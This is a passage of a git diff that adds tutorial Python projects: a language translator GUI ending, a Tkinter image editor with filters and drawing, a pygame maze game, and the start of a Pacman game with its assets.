engine.setProperty('voice', voices[1].id) + # saying the translated text + engine.say(self.text) + # running the speech + engine.runAndWait() + + def copy_to_clipboard(self): + # this will create a toast notification object + toast = ToastNotification( + title='Clip Board', + message='Text has been copied to clip board!', + duration=3000, + ) + # this will show the notification + toast.show_toast() + # getting all the content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # copy to clip board + pyperclip.copy(self.text) + + + +root = ttk.Window(themename="cosmo") +application = LanguageTranslator(root) +root.mainloop() + diff --git a/gui-programming/gui-language-translator/icon.png b/gui-programming/gui-language-translator/icon.png new file mode 100644 index 00000000..b96f71a1 Binary files /dev/null and b/gui-programming/gui-language-translator/icon.png differ diff --git a/gui-programming/gui-language-translator/img001.webp b/gui-programming/gui-language-translator/img001.webp new file mode 100644 index 00000000..3cca4ed5 Binary files /dev/null and b/gui-programming/gui-language-translator/img001.webp differ diff --git a/gui-programming/gui-language-translator/logo.png b/gui-programming/gui-language-translator/logo.png new file mode 100644 index 00000000..2b54618b Binary files /dev/null and b/gui-programming/gui-language-translator/logo.png differ diff --git a/gui-programming/gui-language-translator/requirements.txt b/gui-programming/gui-language-translator/requirements.txt new file mode 100644 index 00000000..7fcd330c --- /dev/null +++ b/gui-programming/gui-language-translator/requirements.txt @@ -0,0 +1,4 @@ +ttkbootstrap +googletrans==3.1.0a0 +pyttsx3 +pyperclip \ No newline at end of file diff --git a/gui-programming/gui-language-translator/speaker.png b/gui-programming/gui-language-translator/speaker.png new file mode 100644 index 00000000..c7de8f94 Binary files /dev/null and b/gui-programming/gui-language-translator/speaker.png differ diff --git a/gui-programming/image-editor/README.md b/gui-programming/image-editor/README.md new file mode 100644 index 00000000..235735b5 --- /dev/null +++ b/gui-programming/image-editor/README.md @@ -0,0 +1 @@ +# [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python) \ No newline at end of file diff --git a/gui-programming/image-editor/add.png b/gui-programming/image-editor/add.png new file mode 100644 index 00000000..b7694b33 Binary files /dev/null and b/gui-programming/image-editor/add.png differ diff --git a/gui-programming/image-editor/color.png b/gui-programming/image-editor/color.png new file mode 100644 index 00000000..7cfbc734 Binary files /dev/null and b/gui-programming/image-editor/color.png differ diff --git a/gui-programming/image-editor/erase.png b/gui-programming/image-editor/erase.png new file mode 100644 index 00000000..c8bb1d68 Binary files /dev/null and b/gui-programming/image-editor/erase.png differ diff --git a/gui-programming/image-editor/flip.png b/gui-programming/image-editor/flip.png new file mode 100644 index 00000000..fc761f82 Binary files /dev/null and b/gui-programming/image-editor/flip.png differ diff --git a/gui-programming/image-editor/gui-image-editor.py b/gui-programming/image-editor/gui-image-editor.py new file mode 100644 index 00000000..b0ce2bba --- /dev/null +++ b/gui-programming/image-editor/gui-image-editor.py @@ -0,0 +1,335 @@ +import ttkbootstrap as ttk +from tkinter import filedialog +from tkinter.messagebox import showerror, askyesno +from tkinter import colorchooser +from PIL import Image, ImageOps, ImageTk, ImageFilter, ImageGrab + + +# defining global variables +WIDTH = 750 +HEIGHT = 560 +file_path = "" +pen_size = 3 +pen_color = "black" + + + +# function to open the image file +def open_image(): + global file_path + file_path = filedialog.askopenfilename(title="Open Image File", filetypes=[("Image Files", "*.jpg;*.jpeg;*.png;*.gif;*.bmp")]) + if file_path: + global image, photo_image + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + + image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=image) + + +# a global variable for checking the flip state of the image +is_flipped = False + +def flip_image(): + try: + global image, photo_image, is_flipped + if not is_flipped: + # open the image and flip it left and right + image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + is_flipped = True + else: + # reset the image to its original state + image = Image.open(file_path) + is_flipped = False + # resize the image to fit the canvas + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Flip Image Error', message='Please select an image to flip!') + + +# global variable for tracking rotation angle +rotation_angle = 0 + +# function for rotating the image +def rotate_image(): + try: + global image, photo_image, rotation_angle + # open the image and rotate it + + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image.rotate(rotation_angle + 90) + rotation_angle += 90 + # reset image if angle is a multiple of 360 degrees + if rotation_angle % 360 == 0: + rotation_angle = 0 + image = Image.open(file_path) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Rotate Image Error', message='Please select an image to rotate!') + + + + +# function for applying filters to the opened image file +def apply_filter(filter): + global image, photo_image + try: + # check if the image has been flipped or rotated + if is_flipped: + # flip the original image left and right + flipped_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + # rotate the flipped image + rotated_image = flipped_image.rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + else: + rotated_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT).rotate(rotation_angle) + + elif rotation_angle != 0: + # rotate the original image + rotated_image = Image.open(file_path).rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + + else: + rotated_image = Image.open(file_path).rotate(rotation_angle) + + else: + # apply the filter to the original image + image = Image.open(file_path) + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + + rotated_image = image + + # resize the rotated/flipped image to fit the canvas + new_width = int((WIDTH / 2)) + rotated_image = rotated_image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Error', message='Please select an image first!') + + + + +# function for drawing lines on the opened image +def draw(event): + global file_path + if file_path: + x1, y1 = (event.x - pen_size), (event.y - pen_size) + x2, y2 = (event.x + pen_size), (event.y + pen_size) + canvas.create_oval(x1, y1, x2, y2, fill=pen_color, outline="", width=pen_size, tags="oval") + + +# function for changing the pen color +def change_color(): + global pen_color + pen_color = colorchooser.askcolor(title="Select Pen Color")[1] + + + +# function for erasing lines on the opened image +def erase_lines(): + global file_path + if file_path: + canvas.delete("oval") + + + + +def save_image(): + global file_path, is_flipped, rotation_angle + + if file_path: + # create a new PIL Image object from the canvas + image = ImageGrab.grab(bbox=(canvas.winfo_rootx(), canvas.winfo_rooty(), canvas.winfo_rootx() + canvas.winfo_width(), canvas.winfo_rooty() + canvas.winfo_height())) + + # check if the image has been flipped or rotated + if is_flipped or rotation_angle % 360 != 0: + # Resize and rotate the image + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + if is_flipped: + image = image.transpose(Image.FLIP_LEFT_RIGHT) + if rotation_angle % 360 != 0: + image = image.rotate(rotation_angle) + + # update the file path to include the modifications in the file name + file_path = file_path.split(".")[0] + "_mod.jpg" + + # apply any filters to the image before saving + filter = filter_combobox.get() + if filter: + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + # update the file path to include the filter in the file name + file_path = file_path.split(".")[0] + "_" + filter.lower().replace(" ", "_") + ".jpg" + + # open file dialog to select save location and file type + file_path = filedialog.asksaveasfilename(defaultextension=".jpg") + + if file_path: + if askyesno(title='Save Image', message='Do you want to save this image?'): + # save the image to a file + image.save(file_path) + + + + +root = ttk.Window(themename="cosmo") +root.title("Image Editor") +root.geometry("510x580+300+110") +root.resizable(0, 0) +icon = ttk.PhotoImage(file='icon.png') +root.iconphoto(False, icon) + +# the left frame to contain the 4 buttons +left_frame = ttk.Frame(root, width=200, height=600) +left_frame.pack(side="left", fill="y") + +# the right canvas for displaying the image +canvas = ttk.Canvas(root, width=WIDTH, height=HEIGHT) +canvas.pack() +# binding the Canvas to the B1-Motion event +canvas.bind("", draw) + +# label +filter_label = ttk.Label(left_frame, text="Select Filter:", background="white") +filter_label.pack(padx=0, pady=2) + +# a list of filters +image_filters = ["Contour", "Black and White", "Blur", "Detail", "Emboss", "Edge Enhance", "Sharpen", "Smooth"] + +# combobox for the filters +filter_combobox = ttk.Combobox(left_frame, values=image_filters, width=15) +filter_combobox.pack(padx=10, pady=5) + +# binding the apply_filter function to the combobox +filter_combobox.bind("<>", lambda event: apply_filter(filter_combobox.get())) + +# loading the icons for the 4 buttons +image_icon = ttk.PhotoImage(file = 'add.png').subsample(12, 12) +flip_icon = ttk.PhotoImage(file = 'flip.png').subsample(12, 12) +rotate_icon = ttk.PhotoImage(file = 'rotate.png').subsample(12, 12) +color_icon = ttk.PhotoImage(file = 'color.png').subsample(12, 12) +erase_icon = ttk.PhotoImage(file = 'erase.png').subsample(12, 12) +save_icon = ttk.PhotoImage(file = 'saved.png').subsample(12, 12) + +# button for adding/opening the image file +image_button = ttk.Button(left_frame, image=image_icon, bootstyle="light", command=open_image) +image_button.pack(pady=5) +# button for flipping the image file +flip_button = ttk.Button(left_frame, image=flip_icon, bootstyle="light", command=flip_image) +flip_button.pack(pady=5) +# button for rotating the image file +rotate_button = ttk.Button(left_frame, image=rotate_icon, bootstyle="light", command=rotate_image) +rotate_button.pack(pady=5) +# button for choosing pen color +color_button = ttk.Button(left_frame, image=color_icon, bootstyle="light", command=change_color) +color_button.pack(pady=5) +# button for erasing the lines drawn over the image file +erase_button = ttk.Button(left_frame, image=erase_icon, bootstyle="light", command=erase_lines) +erase_button.pack(pady=5) +# button for saving the image file +save_button = ttk.Button(left_frame, image=save_icon, bootstyle="light", command=save_image) +save_button.pack(pady=5) + +root.mainloop() diff --git a/gui-programming/image-editor/icon.png b/gui-programming/image-editor/icon.png new file mode 100644 index 00000000..98bbcc10 Binary files /dev/null and b/gui-programming/image-editor/icon.png differ diff --git a/gui-programming/image-editor/requirements.txt b/gui-programming/image-editor/requirements.txt new file mode 100644 index 00000000..95853d43 --- /dev/null +++ b/gui-programming/image-editor/requirements.txt @@ -0,0 +1,2 @@ +pillow +ttkbootstrap diff --git a/gui-programming/image-editor/rotate.png b/gui-programming/image-editor/rotate.png new file mode 100644 index 00000000..1e0dec7a Binary files /dev/null and b/gui-programming/image-editor/rotate.png differ diff --git a/gui-programming/image-editor/saved.png b/gui-programming/image-editor/saved.png new file mode 100644 index 00000000..4ebeca50 Binary files /dev/null and b/gui-programming/image-editor/saved.png differ diff --git a/gui-programming/image-editor/test.jpg b/gui-programming/image-editor/test.jpg new file mode 100644 index 00000000..ffc753c7 Binary files /dev/null and b/gui-programming/image-editor/test.jpg differ diff --git a/gui-programming/maze-game/README.md b/gui-programming/maze-game/README.md new file mode 100644 index 00000000..5c6a2cd8 --- /dev/null +++ b/gui-programming/maze-game/README.md @@ -0,0 +1 @@ +# [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python) \ No newline at end of file diff --git a/gui-programming/maze-game/cell.py b/gui-programming/maze-game/cell.py new file mode 100644 index 00000000..5cbf4963 --- /dev/null +++ b/gui-programming/maze-game/cell.py @@ -0,0 +1,45 @@ +import pygame +from random import choice + +class Cell: + def __init__(self, x, y, thickness): + self.x, self.y = x, y + self.thickness = thickness + self.walls = {'top': True, 'right': True, 'bottom': True, 'left': True} + self.visited = False + + # draw grid cell walls + def draw(self, sc, tile): + x, y = self.x * tile, self.y * tile + if self.walls['top']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y), (x + tile, y), self.thickness) + if self.walls['right']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y), (x + tile, y + tile), self.thickness) + if self.walls['bottom']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y + tile), (x , y + tile), self.thickness) + if self.walls['left']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y + tile), (x, y), self.thickness) + + # checks if cell does exist and returns it if it does + def check_cell(self, x, y, cols, rows, grid_cells): + find_index = lambda x, y: x + y * cols + if x < 0 or x > cols - 1 or y < 0 or y > rows - 1: + return False + return grid_cells[find_index(x, y)] + + # checking cell neighbors of current cell if visited (carved) or not + def check_neighbors(self, cols, rows, grid_cells): + neighbors = [] + top = self.check_cell(self.x, self.y - 1, cols, rows, grid_cells) + right = self.check_cell(self.x + 1, self.y, cols, rows, grid_cells) + bottom = self.check_cell(self.x, self.y + 1, cols, rows, grid_cells) + left = self.check_cell(self.x - 1, self.y, cols, rows, grid_cells) + if top and not top.visited: + neighbors.append(top) + if right and not right.visited: + neighbors.append(right) + if bottom and not bottom.visited: + neighbors.append(bottom) + if left and not left.visited: + neighbors.append(left) + return choice(neighbors) if neighbors else False diff --git a/gui-programming/maze-game/clock.py b/gui-programming/maze-game/clock.py new file mode 100644 index 00000000..1686aa7f --- /dev/null +++ b/gui-programming/maze-game/clock.py @@ -0,0 +1,30 @@ +import pygame, time + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", 35) + self.message_color = pygame.Color("yellow") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None diff --git a/gui-programming/maze-game/game.py b/gui-programming/maze-game/game.py new file mode 100644 index 00000000..13815ad5 --- /dev/null +++ b/gui-programming/maze-game/game.py @@ -0,0 +1,31 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self, goal_cell, tile): + self.font = pygame.font.SysFont("impact", 35) + self.message_color = pygame.Color("darkorange") + self.goal_cell = goal_cell + self.tile = tile + + # add goal point for player to reach + def add_goal_point(self, screen): + # adding gate for the goal point + img_path = 'img/gate.png' + img = pygame.image.load(img_path) + img = pygame.transform.scale(img, (self.tile, self.tile)) + screen.blit(img, (self.goal_cell.x * self.tile, self.goal_cell.y * self.tile)) + + # winning message + def message(self): + msg = self.font.render('You Win!!', True, self.message_color) + return msg + + # checks if player reached the goal point + def is_game_over(self, player): + goal_cell_abs_x, goal_cell_abs_y = self.goal_cell.x * self.tile, self.goal_cell.y * self.tile + if player.x >= goal_cell_abs_x and player.y >= goal_cell_abs_y: + return True + else: + return False \ No newline at end of file diff --git a/gui-programming/maze-game/img/gate.png b/gui-programming/maze-game/img/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and b/gui-programming/maze-game/img/gate.png differ diff --git a/gui-programming/maze-game/main.py b/gui-programming/maze-game/main.py new file mode 100644 index 00000000..8ef89a63 --- /dev/null +++ b/gui-programming/maze-game/main.py @@ -0,0 +1,114 @@ +import pygame, sys +from maze import Maze +from player import Player +from game import Game +from clock import Clock + +pygame.init() +pygame.font.init() + +class Main(): + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("impact", 30) + self.message_color = pygame.Color("cyan") + self.running = True + self.game_over = False + self.FPS = pygame.time.Clock() + + def instructions(self): + instructions1 = self.font.render('Use', True, self.message_color) + instructions2 = self.font.render('Arrow Keys', True, self.message_color) + instructions3 = self.font.render('to Move', True, self.message_color) + self.screen.blit(instructions1,(655,300)) + self.screen.blit(instructions2,(610,331)) + self.screen.blit(instructions3,(630,362)) + + # draws all configs; maze, player, instructions, and time + def _draw(self, maze, tile, player, game, clock): + # draw maze + [cell.draw(self.screen, tile) for cell in maze.grid_cells] + + # add a goal point to reach + game.add_goal_point(self.screen) + + # draw every player movement + player.draw(self.screen) + player.update() + + # instructions, clock, winning message + self.instructions() + if self.game_over: + clock.stop_timer() + self.screen.blit(game.message(),(610,120)) + else: + clock.update_timer() + self.screen.blit(clock.display_timer(), (625,200)) + + pygame.display.flip() + + # main game loop + def main(self, frame_size, tile): + cols, rows = frame_size[0] // tile, frame_size[-1] // tile + maze = Maze(cols, rows) + game = Game(maze.grid_cells[-1], tile) + player = Player(tile // 3, tile // 3) + clock = Clock() + + maze.generate_maze() + clock.start_timer() + while self.running: + self.screen.fill("gray") + self.screen.fill( pygame.Color("darkslategray"), (603, 0, 752, 752)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + # if keys were pressed still + if event.type == pygame.KEYDOWN: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = True + if event.key == pygame.K_RIGHT: + player.right_pressed = True + if event.key == pygame.K_UP: + player.up_pressed = True + if event.key == pygame.K_DOWN: + player.down_pressed = True + player.check_move(tile, maze.grid_cells, maze.thickness) + + # if pressed key released + if event.type == pygame.KEYUP: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = False + if event.key == pygame.K_RIGHT: + player.right_pressed = False + if event.key == pygame.K_UP: + player.up_pressed = False + if event.key == pygame.K_DOWN: + player.down_pressed = False + player.check_move(tile, maze.grid_cells, maze.thickness) + + if game.is_game_over(player): + self.game_over = True + player.left_pressed = False + player.right_pressed = False + player.up_pressed = False + player.down_pressed = False + + self._draw(maze, tile, player, game, clock) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (602, 602) + screen = (window_size[0] + 150, window_size[-1]) + tile_size = 30 + screen = pygame.display.set_mode(screen) + pygame.display.set_caption("Maze") + + game = Main(screen) + game.main(window_size, tile_size) diff --git a/gui-programming/maze-game/maze.py b/gui-programming/maze-game/maze.py new file mode 100644 index 00000000..69384699 --- /dev/null +++ b/gui-programming/maze-game/maze.py @@ -0,0 +1,44 @@ +import pygame +from cell import Cell + +class Maze: + def __init__(self, cols, rows): + self.cols = cols + self.rows = rows + self.thickness = 4 + self.grid_cells = [Cell(col, row, self.thickness) for row in range(self.rows) for col in range(self.cols)] + + # carve grid cell walls + def remove_walls(self, current, next): + dx = current.x - next.x + if dx == 1: + current.walls['left'] = False + next.walls['right'] = False + elif dx == -1: + current.walls['right'] = False + next.walls['left'] = False + dy = current.y - next.y + if dy == 1: + current.walls['top'] = False + next.walls['bottom'] = False + elif dy == -1: + current.walls['bottom'] = False + next.walls['top'] = False + + # generates maze + def generate_maze(self): + current_cell = self.grid_cells[0] + array = [] + break_count = 1 + while break_count != len(self.grid_cells): + current_cell.visited = True + next_cell = current_cell.check_neighbors(self.cols, self.rows, self.grid_cells) + if next_cell: + next_cell.visited = True + break_count += 1 + array.append(current_cell) + self.remove_walls(current_cell, next_cell) + current_cell = next_cell + elif array: + current_cell = array.pop() + return self.grid_cells diff --git a/gui-programming/maze-game/player.py b/gui-programming/maze-game/player.py new file mode 100644 index 00000000..0a671268 --- /dev/null +++ b/gui-programming/maze-game/player.py @@ -0,0 +1,66 @@ +import pygame + +class Player: + def __init__(self, x, y): + self.x = int(x) + self.y = int(y) + self.player_size = 10 + self.rect = pygame.Rect(self.x, self.y, self.player_size, self.player_size) + self.color = (250, 120, 60) + self.velX = 0 + self.velY = 0 + self.left_pressed = False + self.right_pressed = False + self.up_pressed = False + self.down_pressed = False + self.speed = 4 + + # get current cell position of the player + def get_current_cell(self, x, y, grid_cells): + for cell in grid_cells: + if cell.x == x and cell.y == y: + return cell + + # stops player to pass through walls + def check_move(self, tile, grid_cells, thickness): + current_cell_x, current_cell_y = self.x // tile, self.y // tile + current_cell = self.get_current_cell(current_cell_x, current_cell_y, grid_cells) + current_cell_abs_x, current_cell_abs_y = current_cell_x * tile, current_cell_y * tile + if self.left_pressed: + if current_cell.walls['left']: + if self.x <= current_cell_abs_x + thickness: + self.left_pressed = False + if self.right_pressed: + if current_cell.walls['right']: + if self.x >= current_cell_abs_x + tile - (self.player_size + thickness): + self.right_pressed = False + if self.up_pressed: + if current_cell.walls['top']: + if self.y <= current_cell_abs_y + thickness: + self.up_pressed = False + if self.down_pressed: + if current_cell.walls['bottom']: + if self.y >= current_cell_abs_y + tile - (self.player_size + thickness): + self.down_pressed = False + + # drawing player to the screen + def draw(self, screen): + pygame.draw.rect(screen, self.color, self.rect) + + # updates player position while moving + def update(self): + self.velX = 0 + self.velY = 0 + if self.left_pressed and not self.right_pressed: + self.velX = -self.speed + if self.right_pressed and not self.left_pressed: + self.velX = self.speed + if self.up_pressed and not self.down_pressed: + self.velY = -self.speed + if self.down_pressed and not self.up_pressed: + self.velY = self.speed + + self.x += self.velX + self.y += self.velY + + self.rect = pygame.Rect(int(self.x), int(self.y), self.player_size, self.player_size) \ No newline at end of file diff --git a/gui-programming/maze-game/requirements.txt b/gui-programming/maze-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/maze-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/README.md b/gui-programming/pacman-game/README.md new file mode 100644 index 00000000..b57339e5 --- /dev/null +++ b/gui-programming/pacman-game/README.md @@ -0,0 +1 @@ +# [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python) \ No newline at end of file diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc new file mode 100644 index 00000000..ddbae820 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc new file mode 100644 index 00000000..5ad6cc32 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc new file mode 100644 index 00000000..d60b70df Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc new file mode 100644 index 00000000..eac5abdb Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc new file mode 100644 index 00000000..b6faeb30 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc new file mode 100644 index 00000000..40a3a84b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc new file mode 100644 index 00000000..fd64e006 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc new file mode 100644 index 00000000..ba76e7ed Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc new file mode 100644 index 00000000..1088e54b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc new file mode 100644 index 00000000..795ec78b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc new file mode 100644 index 00000000..5d335cc4 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc new file mode 100644 index 00000000..de82209f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc new file mode 100644 index 00000000..4cb12864 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc new file mode 100644 index 00000000..fba2a144 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..42535766 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc new file mode 100644 index 00000000..cc539698 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..51f2254f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc new file mode 100644 index 00000000..f50f2916 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc new file mode 100644 index 00000000..9740cddc Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc new file mode 100644 index 00000000..ebf307f2 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/animation.py b/gui-programming/pacman-game/animation.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/pacman-game/animation.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/pacman-game/assets/ghosts/orange/down.png b/gui-programming/pacman-game/assets/ghosts/orange/down.png new file mode 100644 index 00000000..015c28a7 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/left.png b/gui-programming/pacman-game/assets/ghosts/orange/left.png new file mode 100644 index 00000000..3c7e6933 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/right.png b/gui-programming/pacman-game/assets/ghosts/orange/right.png new file mode 100644 index 00000000..20cf70f2 Binary files /dev/null and 